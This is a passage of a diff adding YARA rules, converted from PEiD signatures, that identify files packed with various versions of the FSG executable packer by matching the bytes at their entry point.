+        $a = {EB 02 CD 20 EB 01 91 8D 35 80 ?? ?? 00 33 C2 68 83 93 7E 7D 0C A4 5B 23 C3 68 77 93 7E 7D EB 01 FA 5F E8 02 00 00 00 F7 FB 58 33 DF EB 01 3F E8 02 00 00 00 11 88 58 0F B6 16 EB 02 CD 20 EB 02 86 2F 2A D3 EB 02 CD 20 80 EA 2F EB 01 52 32 D3 80 E9 CD 80 EA}
+    condition:
+        $a
+}
+
+rule PEiD_00775_FSG_1_20__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG 1.20 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "false"
+    strings:
+        $a = {C1 E0 06 EB 02 CD 20 EB 01 27 EB 01 24 BE 80 ?? 42 00 49 EB 01 99 8D 1D F4 00 00 00 EB 01 5C F7 D8 1B CA EB 01 31 8A 16 80 E9 41 EB 01 C2 C1 E0 0A EB 01 A1 81 EA A8 8C 18 A1 34 46 E8 01 00 00 00 62 59 32 D3 C1 C9 02 EB 01 68 80 F2 1A 0F BE C9 F7 D1 2A D3}
+    condition:
+        $a
+}
+
+rule PEiD_00776_FSG_1_31__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG 1.31 (Eng) -> dulek/xt]"
+        ep_only = "false"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 BB ?? ?? ?? 00 B2 80 A4 B6 80 FF D3 73 F9 33 C9 FF D3 73 16 33 C0 FF D3 73 23 B6 80 41 B0 10 FF D3 12 C0 73 FA 75 42 AA EB E0 E8 46 00 00 00 02 F6 83 D9 01 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 48 13 C9 EB}
+    condition:
+        $a
+}
+
+rule PEiD_00777_FSG_1_31____dulek_xt_
+{
+    meta:
+        description = "[FSG 1.31 -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? ?? 00 BF ?? ?? ?? 00 BB ?? ?? ?? 00 53 BB ?? ?? ?? 00 B2 80}
+    condition:
+        $a
+}
+
+rule PEiD_00778_FSG_1_33__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG 1.33 (Eng) -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F B6 80 41 B0 10 FF 13 12 C0 73 FA 75 3C AA EB E0 FF 53 08 02 F6 83 D9 01 75 0E FF 53 04 EB 26 AC D1 E8 74 2F 13 C9 EB 1A 91 48 C1 E0 08 AC FF 53 04 3D 00 7D}
+    condition:
+        $a
+}
+
+rule PEiD_00779_FSG_1_3_
+{
+    meta:
+        description = "[FSG 1.3]"
+        ep_only = "false"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00}
+    condition:
+        $a
+}
+
+rule PEiD_00780_FSG_v1_00__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG v1.00 (Eng) -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 51 FF FF FF 5F BB 28 ?? ?? 00 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 0F 74 EF FE 0F 75 06 47 FF 37 AF EB 09 FE 0F 0F 84 ?? ?? ?? FF 57 55 FF 53 04 09 06 AD 75 DB 8B EC C3 1C ?? ?? 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00781_FSG_v1_0_
+{
+    meta:
+        description = "[FSG v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B}
+    condition:
+        $a
+}
+
+rule PEiD_00782_FSG_v1_10__Eng_____bart_xt_____Watcom_C_C___EXE__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> bart/xt -> (Watcom C/C++ EXE)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 CD 20 03 ?? 8D ?? 80 ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 02}
+    condition:
+        $a
+}
+
+rule PEiD_00783_FSG_v1_10__Eng_____bart_xt____WinRAR_SFX_
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> bart/xt -> WinRAR-SFX]"
+        ep_only = "true"
+    strings:
+        $a = {80 E9 A1 C1 C1 13 68 E4 16 75 46 C1 C1 05 5E EB 01 9D 68 64 86 37 46 EB 02 8C E0 5F F7 D0}
+    condition:
+        $a
+}
+
+rule PEiD_00784_FSG_v1_10__Eng_____bart_xt____WinRAR_SFX_
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> bart/xt -> WinRAR-SFX]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 02 EB 02 CD 20 B8 80 ?? 42 00 EB 01 55 BE F4 00 00 00 13 DF 13 D8 0F B6 38 D1 F3 F7}
+    condition:
+        $a
+}
+
+rule PEiD_00785_FSG_v1_10__Eng_____bart_xt_
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> bart/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 52 FF FF FF 5F BB 27 ?? ?? 00 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 07 74 EF FE 07 75 06 47 FF 37 AF EB 09 FE 07 0F 84 1A ?? ?? FF 57 55 FF 53 04 09 06 AD 75 DB 8B EC C3 1B ?? ?? 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00786_FSG_v1_10__Eng_____dulek_xt_____Borland_C___1999__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland C++ 1999)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 CD 20 2B C8 68 80 ?? ?? 00 EB 02 1E BB 5E EB 02 CD 20 68 B1 2B 6E 37 40 5B 0F B6 C9}
+    condition:
+        $a
+}
+
+rule PEiD_00787_FSG_v1_10__Eng_____dulek_xt_____Borland_C____
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland C++)]"
+        ep_only = "true"
+    strings:
+        $a = {23 CA EB 02 5A 0D E8 02 00 00 00 6A 35 58 C1 C9 10 BE 80 ?? ?? 00 0F B6 C9 EB 02 CD 20 BB}
+    condition:
+        $a
+}
+
+rule PEiD_00788_FSG_v1_10__Eng_____dulek_xt_____Borland_C____
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland C++)]"
+        ep_only = "true"
+    strings:
+        $a = {23 CA EB 02 5A 0D E8 02 00 00 00 6A 35 58 C1 C9 10 BE 80 ?? ?? 00 0F B6 C9 EB 02 CD 20 BB F4 00 00 00 EB 02 04 FA EB 01 FA EB 01 5F EB 02 CD 20 8A 16 EB 02 11 31 80 E9 31 EB 02 30 11 C1 E9 11 80 EA 04 EB 02 F0 EA 33 CB 81 EA AB AB 19 08 04 D5 03 C2 80 EA 33 0F B6 C9 0F BE 0E 88 16 EB 01 5F EB 01 6B 46 EB 01 6D 0F BE C0 4B EB 02 CD 20 0F BE C9 2B C9 3B D9 75 B0 EB 01 99 C1 C1 05 91 9D B2 E3 22 E2 A1 E2 F2 22 E2 A0 ?? ?? ?? E2 35 CA EC E2 E2 E2 E4 B4 57 E7 6C F8 28 F4 B4 A5 94 62 15 BD 86 95 E4 E1 F6 06 55 DA 15 AB E1 F6 06 55 FA 15 A2 E1 F6 06 55 03 95 E4 23 92 F2 E1 F6 06 F4 A2 55 DB 57 21 8C CD BE CA 25 E2 E2 E2 0D AD 57 F2 CA 1A E2 E2 E2 CD 0A 8E B3 CA 56 23 F5 AB CD FE 73 2A A3 C2 EA 8E CA 04 E2 E2 E2 1F E2 5F E2 E2 55 EC 62 DE E7 55 E8 65 DA 61 59 E4}
+    condition:
+        $a
+}
+
+rule PEiD_00789_FSG_v1_10__Eng_____dulek_xt_____Borland_Delphi___Borland_C____
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)]"
+        ep_only = "true"
+    strings:
+        $a = {2B C2 E8 02 00 00 00 95 4A 59 8D 3D 52 F1 2A E8 C1 C8 1C BE 2E ?? ?? 18 EB 02 AB A0 03 F7}
+    condition:
+        $a
+}
+
+rule PEiD_00790_FSG_v1_10__Eng_____dulek_xt_____Borland_Delphi___Borland_C____
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)]"
+        ep_only = "true"
+    strings:
+        $a = {2B C2 E8 02 00 00 00 95 4A 59 8D 3D 52 F1 2A E8 C1 C8 1C BE 2E ?? ?? 18 EB 02 AB A0 03 F7 EB 02 CD 20 68 F4 00 00 00 0B C7 5B 03 CB 8A 06 8A 16 E8 02 00 00 00 8D 46 59 EB 01 A4 02 D3 EB 02 CD 20 02 D3 E8 02 00 00 00 57 AB 58 81 C2 AA 87 AC B9 0F BE C9 80 EA 0F E8 01 00 00 00 64 59 02 D3 EB 02 D6 5C 88 16 EB 02 CD 20 46 E8 02 00 00 00 6B B5 59 4B 0F B7 C6 0B DB 75 B1 EB 02 50 AA 91 44 5C 90 D2 95 57 9B AE E1 A4 65 ?? ?? ?? B3 09 A1 C6 BF C2 C5 CA 9D 43 D6 5E ED 20 EF B2 A6 98 69 1F CA 96 A8 FA FA 12 25 77 FF 3D D6 0F 27 3A 8C 34 52 E2 24 3C 4F A1 52 E7 39 7B ED 50 42 5A 6D 5E 0F C5 4E CD 9A 08 4C 40 4F AD 6D 70 73 A1 44 F1 8F 6A BD 88 8B 8E 7C BC 43 6B 85 14 E4 B9 72 97 CB 43 FD 79 9B C6 6D AC E9 CA CD D0 10 D6 56 DC DF 55 EF 68 E7 F3 64 FA 7A F2 7C 77 05}
+    condition:
+        $a
+}
+
+rule PEiD_00791_FSG_v1_10__Eng_____dulek_xt_____Borland_Delphi___Borland_C____
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 2E EB 02 A5 55 BB 80 ?? ?? 00 87 FE 8D 05 AA CE E0 63 EB 01 75 BA 5E CE E0 63 EB 02}
+    condition:
+        $a
+}
+
+rule PEiD_00792_FSG_v1_10__Eng_____dulek_xt_____Borland_Delphi___Microsoft_Visual_C_____ASM__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++ / ASM)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 CD 20 EB 02 CD 20 EB 02 CD 20 C1 E6 18 BB 80 ?? ?? 00 EB 02 82 B8 EB 01 10 8D 05 F4}
+    condition:
+        $a
+}
+
+rule PEiD_00793_FSG_v1_10__Eng_____dulek_xt_____Borland_Delphi___Microsoft_Visual_C____
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)]"
+        ep_only = "true"
+    strings:
+        $a = {1B DB E8 02 00 00 00 1A 0D 5B 68 80 ?? ?? 00 E8 01 00 00 00 EA 5A 58 EB 02 CD 20 68 F4 00 00 00 EB 02 CD 20 5E 0F B6 D0 80 CA 5C 8B 38 EB 01 35 EB 02 DC 97 81 EF F7 65 17 43 E8 02 00 00 00 97 CB 5B 81 C7 B2 8B A1 0C 8B D1 83 EF 17 EB 02 0C 65 83 EF 43 13 D6 83 C7 32 F7 DA 03 FE EB 02 CD 20 87 FA 88 10 EB 02 CD 20 40 E8 02 00 00 00 F1 F8 5B 4E 2B D2 85 F6 75 AF EB 02 DE 09 EB 01 EF 34 4A 7C BC 7D 3D 7F 90 C1 82 41 ?? ?? ?? 87 DB 71 94 8B 8C 8D 90 61 05 96 1C A9 DA A7 68 5A 4A 19 CD 76 40 50 A0 9E B4 C5 15 9B D7 6E A5 BB CC 1C C2 DE 6C AC C2 D3 23 D2 65 B5 F5 65 C6 B6 CC DD CC 7B 2F B6 33 FE 6A AC 9E AB 07 C5 C6 C7 F3 94 3F DB B4 05 CE CF D0 BC FA 7F A5 BD 4A 18 EB A2 C5 F7 6D 25 9F BF E8 8D CA 05 E4 E5 E6 24 E8 66 EA EB 5F F7 6E EB F5 64 F8 76 EC 74 6D F9}
+    condition:
+        $a
+}
+
+rule PEiD_00794_FSG_v1_10__Eng_____dulek_xt_____Borland_Delphi___Microsoft_Visual_C____
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)]"
+        ep_only = "true"
+    strings:
+        $a = {C1 C8 10 EB 01 0F BF 03 74 66 77 C1 E9 1D 68 83 ?? ?? 77 EB 02 CD 20 5E EB 02 CD 20 2B F7}
+    condition:
+        $a
+}
+
+rule PEiD_00795_FSG_v1_10__Eng_____dulek_xt_____Borland_Delphi___Microsoft_Visual_C___x_
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)x]"
+        ep_only = "true"
+    strings:
+        $a = {1B DB E8 02 00 00 00 1A 0D 5B 68 80 ?? ?? 00 E8 01 00 00 00 EA 5A 58 EB 02 CD 20 68 F4 00}
+    condition:
+        $a
+}
+
+rule PEiD_00796_FSG_v1_10__Eng_____dulek_xt_____Borland_Delphi_2_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi 2.0)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 56 E8 02 00 00 00 B2 D9 59 68 80 ?? 41 00 E8 02 00 00 00 65 32 59 5E EB 02 CD 20 BB}
+    condition:
+        $a
+}
+
+rule PEiD_00797_FSG_v1_10__Eng_____dulek_xt_____MASM32___TASM32___Microsoft_Visual_Basic__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (MASM32 / TASM32 / Microsoft Visual Basic)]"
+        ep_only = "true"
+    strings:
+        $a = {F7 D8 0F BE C2 BE 80 ?? ?? 00 0F BE C9 BF 08 3B 65 07 EB 02 D8 29 BB EC C5 9A F8 EB 01 94}
+    condition:
+        $a
+}
+
+rule PEiD_00798_FSG_v1_10__Eng_____dulek_xt_____MASM32___TASM32__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (MASM32 / TASM32)]"
+        ep_only = "true"
+    strings:
+        $a = {03 F7 23 FE 33 FB EB 02 CD 20 BB 80 ?? 40 00 EB 01 86 EB 01 90 B8 F4 00 00 00 83 EE 05 2B}
+    condition:
+        $a
+}
+
+rule PEiD_00799_FSG_v1_10__Eng_____dulek_xt_____MASM32___TASM32__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (MASM32 / TASM32)]"
+        ep_only = "true"
+    strings:
+        $a = {03 F7 23 FE 33 FB EB 02 CD 20 BB 80 ?? 40 00 EB 01 86 EB 01 90 B8 F4 00 00 00 83 EE 05 2B F2 81 F6 EE 00 00 00 EB 02 CD 20 8A 0B E8 02 00 00 00 A9 54 5E C1 EE 07 F7 D7 EB 01 DE 81 E9 B7 96 A0 C4 EB 01 6B EB 02 CD 20 80 E9 4B C1 CF 08 EB 01 71 80 E9 1C EB 02 F0 49 C1 F6 09 88 0B F7 DE 0F B6 F2 43 EB 02 CD 20 C1 E7 0A 48 EB 01 89 C1 E7 14 2B FF 3B C7 75 A8 E8 01 00 00 00 81 5F F7 D7 D9 EE 1F 5E 1E DD 1E 2E 5E 1E DC ?? ?? 5E 1E 71 06 28 1E 1E 1E 20 F0 93 23 A8 34 64 30 F0 E1 D0 9E 51 F9 C2 D1 20 1D 32 42 91 16 51 E7 1D 32 42 91 36 51 DE 1D 32 42 91 3F D1 20 5F CE 2E 1D 32 42 30 DE 91 17 93 5D C8 09 FA 06 61 1E 1E 1E 49 E9 93 2E 06 56 1E 1E 1E 09 46 CA EF 06 92 5F 31 E7 09 3A AF 66 DF FE 26 CA 06 40 1E 1E 1E 5B 1E 9B 1E 1E 91 28 9E 1A 23 91 24 A1 16 9D 95 20}
+    condition:
+        $a
+}
+
+rule PEiD_00800_FSG_v1_10__Eng_____dulek_xt_____MASM32__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (MASM32)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 DB E8 02 00 00 00 86 43 5E 8D 1D D0 75 CF 83 C1 EE 1D 68 50 ?? 8F 83 EB 02 3D 0F 5A}
+    condition:
+        $a
+}
+rule PEiD_00801_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_Basic___MASM32__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual Basic / MASM32)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 09 94 0F B7 FF 68 80 ?? ?? 00 81 F6 8E 00 00 00 5B EB 02 11 C2 8D 05 F4 00 00 00 47}
+    condition:
+        $a
+}
+
+rule PEiD_00802_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_Basic_5_0___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual Basic 5.0 / 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {C1 CB 10 EB 01 0F B9 03 74 F6 EE 0F B6 D3 8D 05 83 ?? ?? EF 80 F3 F6 2B C1 EB 01 DE 68 77}
+    condition:
+        $a
+}
+
+rule PEiD_00803_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___4_x___LCC_Win32_1_x__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 4.x / LCC Win32 1.x)]"
+        ep_only = "true"
+    strings:
+        $a = {2C 71 1B CA EB 01 2A EB 01 65 8D 35 80 ?? ?? 00 80 C9 84 80 C9 68 BB F4 00 00 00 EB 01 EB}
+    condition:
+        $a
+}
+
+rule PEiD_00804_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___5_0___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 5.0 / 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {33 D2 0F BE D2 EB 01 C7 EB 01 D8 8D 05 80 ?? ?? ?? EB 02 CD 20 EB 01 F8 BE F4 00 00 00 EB}
+    condition:
+        $a
+}
+
+rule PEiD_00805_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0___ASM__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0 / ASM)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 01 00 00 00 5A 5E E8 02 00 00 00 BA DD 5E 03 F2 EB 01 64 BB 80 ?? ?? 00 8B FA EB 01 A8}
+    condition:
+        $a
+}
+
+rule PEiD_00806_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)]"
+        ep_only = "true"
+    strings:
+        $a = {0B D0 8B DA E8 02 00 00 00 40 A0 5A EB 01 9D B8 80 ?? ?? 00 EB 02 CD 20 03 D3 8D 35 F4 00 00 00 EB 01 35 EB 01 88 80 CA 7C 80 F3 74 8B 38 EB 02 AC BA 03 DB E8 01 00 00 00 A5 5B C1 C2 0B 81 C7 DA 10 0A 4E EB 01 08 2B D1 83 EF 14 EB 02 CD 20 33 D3 83 EF 27}
+    condition:
+        $a
+}
+
+rule PEiD_00807_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)]"
+        ep_only = "true"
+    strings:
+        $a = {0B D0 8B DA E8 02 00 00 00 40 A0 5A EB 01 9D B8 80 ?? ?? 00 EB 02 CD 20 03 D3 8D 35 F4 00 00 00 EB 01 35 EB 01 88 80 CA 7C 80 F3 74 8B 38 EB 02 AC BA 03 DB E8 01 00 00 00 A5 5B C1 C2 0B 81 C7 DA 10 0A 4E EB 01 08 2B D1 83 EF 14 EB 02 CD 20 33 D3 83 EF 27 EB 02 82 53 EB 02 CD 20 87 FA 88 10 80 F3 CA EB 02 CD 20 40 03 D7 0B D0 4E 1B D2 EB 02 CD 20 2B D2 3B F2 75 AC F7 DA 80 C3 AF 91 1C 31 62 A1 61 20 61 71 A1 61 1F ?? ?? ?? 61 B4 49 6B 61 61 61 63 33 D6 66 EB 77 A7 73 33 24 13 E1 94 3C 05 14 63 60 75 85 D4 59 94 2A 60 75 85 D4 79 94 21 60 75 85 D4 82 14 63 A2 11 71 60 75 85 73 21 D4 5A D6 A0 0B 4C 3D 49 A4 61 61 61 8C 2C D6 71 49 99 61 61 61 4C 89 0D 32 49 D5 A2 74 2A 4C 7D F2 A9 22 41 69 0D 49 83 61 61 61 9E 61 DE 61 61 D4 6B E1 5D 66 D4 67 E4 59 E0 D8 63}
+    condition:
+        $a
+}
+
+rule PEiD_00808_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)]"
+        ep_only = "true"
+    strings:
+        $a = {0B D0 8B DA E8 02 00 00 00 40 A0 5A EB 01 9D B8 80 ?? ?? ?? EB 02 CD 20 03 D3 8D 35 F4 00}
+    condition:
+        $a
+}
+
+rule PEiD_00809_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)]"
+        ep_only = "true"
+    strings:
+        $a = {87 FE E8 02 00 00 00 98 CC 5F BB 80 ?? ?? 00 EB 02 CD 20 68 F4 00 00 00 E8 01 00 00 00 E3}
+    condition:
+        $a
+}
+
+rule PEiD_00810_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00811_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)]"
+        ep_only = "true"
+    strings:
+        $a = {F7 D8 40 49 EB 02 E0 0A 8D 35 80 ?? ?? ?? 0F B6 C2 EB 01 9C 8D 1D F4 00 00 00 EB 01 3C 80}
+    condition:
+        $a
+}
+
+rule PEiD_00812_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)]"
+        ep_only = "true"
+    strings:
+        $a = {F7 DB 80 EA BF B9 2F 40 67 BA EB 01 01 68 AF ?? A7 BA 80 EA 9D 58 C1 C2 09 2B C1 8B D7 68}
+    condition:
+        $a
+}
+
+rule PEiD_00813_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___ASM__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / ASM)]"
+        ep_only = "true"
+    strings:
+        $a = {F7 D0 EB 02 CD 20 BE BB 74 1C FB EB 02 CD 20 BF 3B ?? ?? FB C1 C1 03 33 F7 EB 02 CD 20 68}
+    condition:
+        $a
+}
+
+rule PEiD_00814_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {03 DE EB 01 F8 B8 80 ?? 42 00 EB 02 CD 20 68 17 A0 B3 AB EB 01 E8 59 0F B6 DB 68 0B A1 B3}
+    condition:
+        $a
+}
+
+rule PEiD_00815_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {03 DE EB 01 F8 B8 80 ?? 42 00 EB 02 CD 20 68 17 A0 B3 AB EB 01 E8 59 0F B6 DB 68 0B A1 B3 AB EB 02 CD 20 5E 80 CB AA 2B F1 EB 02 CD 20 43 0F BE 38 13 D6 80 C3 47 2B FE EB 01 F4 03 FE EB 02 4F 4E 81 EF 93 53 7C 3C 80 C3 29 81 F7 8A 8F 67 8B 80 C3 C7 2B FE EB 02 CD 20 57 EB 02 CD 20 5A 88 10 EB 02 CD 20 40 E8 02 00 00 00 C5 62 5A 4E E8 01 00 00 00 43 5A 2B DB 3B F3 75 B1 C1 F3 0D 92 B8 DC 0C 4E 0D B7 F7 0A 39 F4 B5 ?? ?? 36 FF 45 D9 FA FB FE FD FE CD 6B FE 82 0D 28 F3 B6 A6 A0 71 1F BA 92 9C EE DA FE 0D 47 DB 09 AE DF E3 F6 50 E4 12 9E C8 EC FB 4D EA 77 C9 03 75 E0 D2 D6 E5 E2 8B 41 B6 41 FA 70 B0 A0 AB F9 B5 C0 BF ED 78 25 CB 96 E5 A8 A7 AA A0 DC 5F 73 9D 14 F0 B5 6A 87 B7 3B E5 6D 77 B2 45 8C B9 96 95 A0 DC A2 1E 9C 9B 11 93 08 83 9B F8 9E 0A 8E 10 F7 85}
+    condition:
+        $a
+}
+
+rule PEiD_00816_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {91 EB 02 CD 20 BF 50 BC 04 6F 91 BE D0 ?? ?? 6F EB 02 CD 20 2B F7 EB 02 F0 46 8D 1D F4 00}
+    condition:
+        $a
+}
+
+rule PEiD_00817_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {C1 CE 10 C1 F6 0F 68 00 ?? ?? 00 2B FA 5B 23 F9 8D 15 80 ?? ?? 00 E8 01 00 00 00 B6 5E 0B}
+    condition:
+        $a
+}
+
+rule PEiD_00818_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {D1 E9 03 C0 68 80 ?? ?? 00 EB 02 CD 20 5E 40 BB F4 00 00 00 33 CA 2B C7 0F B6 16 EB 01 3E}
+    condition:
+        $a
+}
+
+rule PEiD_00819_FSG_v1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 01 00 00 00 0E 59 E8 01 00 00 00 58 58 BE 80 ?? ?? 00 EB 02 61 E9 68 F4 00 00 00 C1 C8}
+    condition:
